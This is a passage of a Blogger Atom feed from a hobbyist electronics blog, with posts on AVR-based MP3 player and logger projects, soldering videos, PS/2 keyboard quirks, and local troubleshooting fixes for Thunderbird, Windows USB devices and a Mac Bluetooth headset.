/&gt;&lt;br /&gt;Hopefully this side of Christmas I'll have them finished and tested with a whole array of new photos, instructions and videos up.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-4877004739124868517?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://brokentoaster.com/butterflymp3/' title='New MP3 Player PCBs.... soon.'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/4877004739124868517/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=4877004739124868517' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/4877004739124868517'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/4877004739124868517'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2007/11/new-mp3-player-pcbs-soon.html' title='New MP3 Player PCBs.... soon.'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-4273861471178884980</id><published>2007-09-21T22:43:00.001+01:00</published><updated>2007-09-21T22:45:24.945+01:00</updated><title type='text'>New Butterflylogger release</title><content type='html'>Just finished a new release of the butterflylogger (0.27) you can find it at &lt;a href="http://brokentoaster.com/butterflylogger/"&gt;http://brokentoaster.com/butterflylogger/&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;This version adds support for DS18B20 1-Wire digital thermometers. This means you can string a number of these 12-bit thermometers an only use I/O pin on the logger.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-4273861471178884980?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/4273861471178884980/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=4273861471178884980' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/4273861471178884980'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/4273861471178884980'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2007/09/new-butterflylogger-release.html' title='New Butterflylogger release'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-8901809792399368857</id><published>2007-08-17T19:51:00.000+01:00</published><updated>2007-08-17T19:55:58.228+01:00</updated><title type='text'>PS/2 Keyboard startup</title><content type='html'>I've been adding a ps2 keyboard to one of my projects and found firmware based on Atmel's AVR313 application note didn't work. After a bit of hunting around on the net and some careful watching on the logic analyser I found out why.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;When the AT keyboard is first reset it's supposed to send an AA if its self-test passed or FD or FC if it failed.  But before it does this, it sends a continual stream of AAs with the parity incorrect.  Once the computer sends an FE to indicate that there is a parity error, the keyboard stops sending bad AAs and sends a correct AA or an FD or FC.  This sounds like someone made a quick fix in the keyboard firmware for mis-matched reset timing (the keyboard always finishes resetting before the computer so the computer could miss the AA/FD/FC).&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;This was found at &lt;a href="http://www.cs.cmu.edu/afs/cs/usr/jmcm/www/info/key2.txt"&gt;http://www.cs.cmu.edu/afs/cs/usr/jmcm/www/info/key2.txt&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-8901809792399368857?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.cs.cmu.edu/afs/cs/usr/jmcm/www/info/key2.txt' title='PS/2 Keyboard startup'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/8901809792399368857/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=8901809792399368857' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/8901809792399368857'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/8901809792399368857'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2007/08/ps2-keyboard-startup.html' title='PS/2 Keyboard startup'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-9027898211140226526</id><published>2007-08-06T07:23:00.000+01:00</published><updated>2007-08-06T07:33:50.805+01:00</updated><title type='text'>Logger release 0.26</title><content type='html'>I've finally gotten around to doing a bugfix release for my Butterfly Logger. For some reason it would not compile properly on the later versions of gcc. I am still using gcc 4.02 for my development as it yields smaller builds than the current 4.1.x generation.&lt;br /&gt;&lt;br /&gt;You can now remove some of the LCD/Joystick interface to make it smaller so the bootloader can be used on the butterfly.&lt;br /&gt;&lt;br /&gt;The link to firmware download is on this &lt;a href="http://www.brokentoaster.com/butterflylogger"&gt;page&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-9027898211140226526?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.brokentoaster.com/butterflylogger' title='Logger release 0.26'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/9027898211140226526/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=9027898211140226526' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/9027898211140226526'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/9027898211140226526'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2007/08/logger-release-026.html' title='Logger release 0.26'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-3940833037336347528</id><published>2007-07-25T19:55:00.000+01:00</published><updated>2007-07-25T20:10:07.105+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='teachers timer electronics projects diy howto avr'/><title type='text'>Teachers Timer</title><content type='html'>I have just finished the website for my "Teachers Timer" project. This is all based on the documentation produced for the Circuit cellar competition last year.&lt;br /&gt;&lt;br /&gt;here is the blurb:&lt;br /&gt;&lt;blockquote&gt;Teachers Timer is an innovative and discrete timing device for assisting teachers and lecturers. Using cell phone style vibrations and a simple one-button interface the user can be alerted to the passage of time without staring at the clock. For lectures and presentations the device can also include a laser pointer that will gently fade in and out to alert the user.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;My station master project is also up at &lt;a href="http://brokentoaster.com/stationmaster/"&gt;brokentoaster.com/stationmaster/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-3940833037336347528?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.brokentoaster.com/teacherstimer/' title='Teachers Timer'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/3940833037336347528/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=3940833037336347528' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/3940833037336347528'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/3940833037336347528'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2007/07/teachers-timer.html' title='Teachers Timer'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-5627045890733522776</id><published>2007-07-15T23:38:00.000+01:00</published><updated>2007-07-21T09:30:46.025+01:00</updated><title type='text'>New soldering videos</title><content type='html'>Just recorded some more soldering videos this weekend. One involves soldering a very fine pitch zigbee RF transceiver using some solder paste and a standard kitchen stove top. The other is a far more usual soldering of a TQFP ATMega 88 on the same board by hand. &lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="350"&gt; &lt;param name="movie" value="http://www.youtube.com/v/hAltru4Z6DM"&gt; &lt;/param&gt; &lt;embed src="http://www.youtube.com/v/hAltru4Z6DM" type="application/x-shockwave-flash" width="425" height="350"&gt; &lt;/embed&gt; &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;You should of course carry this out in a well ventilated area as soldering fumes are toxic.&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="350"&gt; &lt;param name="movie" value="http://www.youtube.com/v/nLRL5ybBChY"&gt; &lt;/param&gt; &lt;embed src="http://www.youtube.com/v/nLRL5ybBChY" type="application/x-shockwave-flash" width="425" height="350"&gt; &lt;/embed&gt; &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;The PCB being constructed in these videos is an open source Zigbee module. Zigbee is a low power wireless mesh networking technology based on IEEE 802.15.4 initially aimed at home and industrial automation. You can get the PCB from http://www.anteeo.se/zigbee.php&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-5627045890733522776?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.youtube.com/watch?v=hAltru4Z6DM' title='New soldering videos'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/5627045890733522776/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=5627045890733522776' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/5627045890733522776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/5627045890733522776'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2007/07/new-soldering-videos.html' title='New soldering videos'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-1526891863363152617</id><published>2007-07-14T09:53:00.001+01:00</published><updated>2007-07-14T09:56:34.499+01:00</updated><title type='text'>Brokentoaster Software 2003</title><content type='html'>I've resurrected my old geocities site from back in the day. Complete with rants, raves and how software would save the world. You can check it out &lt;a href="http://www.brokentoaster.com/p45/"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-1526891863363152617?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.brokentoaster.com/p45/' title='Brokentoaster Software 2003'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/1526891863363152617/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=1526891863363152617' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/1526891863363152617'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/1526891863363152617'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2007/07/brokentoaster-software-2003.html' title='Brokentoaster Software 2003'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-6524890110269887663</id><published>2007-07-12T07:01:00.000+01:00</published><updated>2007-07-12T18:38:39.410+01:00</updated><title type='text'>Brokentoaster.com</title><content type='html'>Well I've finally got around to getting a real domain and some web space. I've moved my SF project web pages there to &lt;br /&gt;&lt;a href="http://www.brokentoaster.com/butterflymp3/"&gt;&lt;br /&gt;http://www.brokentoaster.com/butterflylogger/&lt;/a&gt; and &lt;br /&gt;&lt;a href="http://www.brokentoaster.com/butterflymp3/"&gt;&lt;br /&gt;http://www.brokentoaster.com/butterflymp3/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hopefully I'll post some new pages for my other hardware and software projects soon. I might even resurrect the old brokentoaster software site from the 90s.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-6524890110269887663?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/6524890110269887663/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=6524890110269887663' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6524890110269887663'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6524890110269887663'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2007/07/brokentoastercom.html' title='Brokentoaster.com'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-1820323288736838502</id><published>2007-05-01T11:21:00.000+01:00</published><updated>2007-05-01T11:25:32.460+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='thunderbird fix'/><title type='text'>Thunderbird 2 dictionary problem</title><content type='html'>Installed the new version of thunderbird this week which went well apart from the dictionary going mental. Not to worry easily fixed by copying the myspell files to a new directory as outlined in the post below.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;After installing the new release thunderbird 2.0.0.0 (update from thunderbird 1.5) the german dictionary does not work and the add on of the dictionary does not work too. I created a new directory ..\Mozilla Thunderbird\dictionaries and copied the old files *.dic and *.aff from ..\Mozilla Thunderbird\components\myspell to the new directory. &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;this is in the "Program files" folder no the application settings folder as I first thought. The dictionary files are not part of a user profile but installed as and extension to the app itself.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-1820323288736838502?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://forums.mozillazine.org/viewtopic.php?t=444637&amp;sid=57fc206782b1d977668874940af73cfb' title='Thunderbird 2 dictionary problem'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/1820323288736838502/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=1820323288736838502' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/1820323288736838502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/1820323288736838502'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2007/05/thunderbird-2-dictionary-problem.html' title='Thunderbird 2 dictionary problem'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-3411638850500242824</id><published>2007-03-03T18:11:00.000Z</published><updated>2007-03-03T18:13:16.796Z</updated><title type='text'>Fixing Dodgy USB devices on Windows</title><content type='html'>I've had to do this a few times so I thought I'd post it here to save me remembering. I found this nicely typed up version &lt;a href="http://www.daniweb.com/techtalkforums/thread7700.html"&gt;here&lt;/a&gt; (gist of it is below).&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Removing the VID entries from the registry will cause them to be redetected at restart.&lt;br /&gt;&lt;br /&gt;1. Click Start and click Run. Type regedit and click OK. The Registry Editor window will open.&lt;br /&gt;&lt;br /&gt;2. Go to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Enum\USB.&lt;br /&gt;&lt;br /&gt;3. Highlight and delete all the VID_.... entries for usb devices that you cannot identify. Remember not to delete the entries mentioned above.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;You may not have permssion to delete keys, do the following.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Permissions may be set allowing the deletion of the VID_ entries by following the steps below:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;a) Right-click the key to be deleted, and then click Permissions. The VID_... Permissions window will open.&lt;br /&gt;b) With Everyone highlighted in the Group or User name section, select Full Control in the Permissions section.&lt;br /&gt;c) Click Apply, and then click OK.&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-3411638850500242824?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/3411638850500242824/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=3411638850500242824' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/3411638850500242824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/3411638850500242824'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2007/03/fixing-dodgy-usb-devices-on-windows.html' title='Fixing Dodgy USB devices on Windows'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-16240520158881955</id><published>2007-02-17T10:26:00.001Z</published><updated>2007-02-17T10:26:35.327Z</updated><title type='text'>Soldering videos on Digg</title><content type='html'>Well I don't think It'll make the front page but someone posted my videos to Digg. Good to see some other people appreciating my work and hopefully adding some work or comments of there own.&lt;br&gt;&lt;/br&gt;&lt;br&gt;&lt;/br&gt;&lt;a href='http://www.youtube.com/profile?user=thelastnameavailable'&gt;read more&lt;/a&gt; | &lt;a href='http://digg.com/mods/Soldering_videos_galore'&gt;digg story&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-16240520158881955?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/16240520158881955/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=16240520158881955' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/16240520158881955'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/16240520158881955'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2007/02/soldering-videos-on-digg.html' title='Soldering videos on Digg'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-17824395923167078</id><published>2007-01-20T18:31:00.000Z</published><updated>2007-01-20T18:50:42.139Z</updated><title type='text'></title><content type='html'>&lt;h3 class="post-title"&gt;&lt;br /&gt; Bluetooth Headset fix.&lt;br /&gt;    &lt;/h3&gt;&lt;br /&gt;For a long time I've had an issue with my Bluetooth Headset in OSX. It worked perfectly on other macs but not mine.&lt;br /&gt;&lt;br /&gt;It would work fine if I turned it on and then plugged in the bluetooth dongle into the computer. If I plugged the dongle in first and then powered up the headset it would connect to the computer and then hang waiting for a RFCom channel &lt;i&gt;kernel[0]: [IOBluetoothSCOAudioDevice][waitForRFCOMMChannel] - Waiting.&lt;/i&gt; The Headset itself would then shutdown (which is similar but very different to the expected behaviour of going into standby mode)&lt;br /&gt;&lt;br /&gt;I finally figured out how to fix this ( Seems obvious now).In the file /var/root/Library/Prefernces/blued.plist you need to chance the value of the keys AudioGatewayRFCOMMChannelID and AudioGatewayServiceRecordHandle. My original non working values were 11 for both so I changed them both to 1 and now everything works perfectly. To edit this file you'll need to do the following...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;In terminal...&lt;/b&gt;&lt;br /&gt;&lt;pre&gt;sudo sh (or su)&lt;br /&gt;cp /var/root/Library/Preferences/blued.plist ./&lt;br /&gt;chown &lt;username&gt; blued.plist&lt;br /&gt;exit&lt;br /&gt;open blued.plist&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt; In Property List Editor ... &lt;/b&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Change AudioGatewayRFCOMMChannelID value to 1&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Change AudioGatewayServiceRecordHandle value to 1&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Save blued.plist&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;&lt;b&gt; Back in Terminal...&lt;/b&gt;&lt;br /&gt;&lt;pre&gt;sudo sh ( or su)&lt;br /&gt;chown root blued.plist&lt;br /&gt;cp blued.plist /var/root/Library/Preferences/&lt;br /&gt;exit&lt;/pre&gt;&lt;br /&gt;and your done! :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-17824395923167078?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/17824395923167078/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=17824395923167078' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/17824395923167078'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/17824395923167078'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2007/01/bluetooth-headset-osx-rfcommchannel-fix.html' title=''/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-116527275719549526</id><published>2006-12-04T22:42:00.000Z</published><updated>2006-12-04T22:52:37.206Z</updated><title type='text'></title><content type='html'>I managed to make the Make magazines open source gift guide! See if you can spot my project in the picture.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.makezine.com/blog/archive/2006/11/the_open_source_1.html"&gt;&lt;img src="http://downloads.oreilly.com/make/osgg/osgg.jpg"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Long time no post! oh well that's just the way it goes moving countries. I'm almost set up again in England. Living in Oxford now and enjoying a new job that doesn't involve teaching English (fun though it was).&lt;br /&gt;&lt;br /&gt;I managed to pick up four distinctive excellence awards in the Circuit Cellar competition so hopefully I'll have some more writing opportunities in the new year, and if not I can always write documentation for my growing list of other projects.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-116527275719549526?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/116527275719549526/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=116527275719549526' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/116527275719549526'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/116527275719549526'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/12/i-managed-to-make-make-magazines-open.html' title=''/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-115793229498312753</id><published>2006-09-11T00:45:00.000+01:00</published><updated>2006-09-11T00:51:34.986+01:00</updated><title type='text'>Last Day in Japan :(</title><content type='html'>Well this is my last blog entry for Japan. It has been a great year, and I picked up lots of great junk. My favourite store by far was "Super Junk". If your in Tokyo its on your left as you walk up towards the Akihabara main drag from Ochanomizu metro station. There is also a great 2nd hand test equipment store nearby as well. I guess I'll miss Japan and Akihabara, but I think I've got enough reels of surface mount resistors and other surplus electronics  to keep me busy for a while to come. :)&lt;br /&gt;&lt;br /&gt;Next stop London...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-115793229498312753?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/115793229498312753/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=115793229498312753' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/115793229498312753'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/115793229498312753'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/09/last-day-in-japan.html' title='Last Day in Japan :('/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-115361636616737837</id><published>2006-07-23T01:55:00.000+01:00</published><updated>2006-07-23T12:12:22.566+01:00</updated><title type='text'>Fix audio output selection in Mac OS X 10.4.x</title><content type='html'>Okay so thank god I have finally got to the bottom of why flash player, real player and many other apps ignore the default sound output setting and try to select my bluetooth headset. &lt;br /&gt;&lt;br /&gt;The fix is &lt;a href="http://docs.info.apple.com/article.html?artnum=300832"&gt;here&lt;/a&gt; and &lt;a href="http://www.macosxhints.com/article.php?story=20060111002800782&amp;amp;lsrc=osxh"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If an app in in Mac OS requests a sound device but the audio resolution is too high (like 96kHz) instead of changing the resolution of the channel or upsampling the sound or reporting some kind of useful error to the user it simply doesn't play sound or in my unusual case it selects the next sound device.&lt;br /&gt;&lt;br /&gt;This was a hard to find fix because most people reported it as sound not playing at all because they only had one output device.&lt;br /&gt;&lt;br /&gt;Thanks for nothing Apple ;) hope this is on your lepoard TODO list. Oh yeah thanks to every company that didn't even acknowledge my bug report. Even an automated email saying "we have recieved your report and ignored it" would have been better.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-115361636616737837?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/115361636616737837/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=115361636616737837' title='0 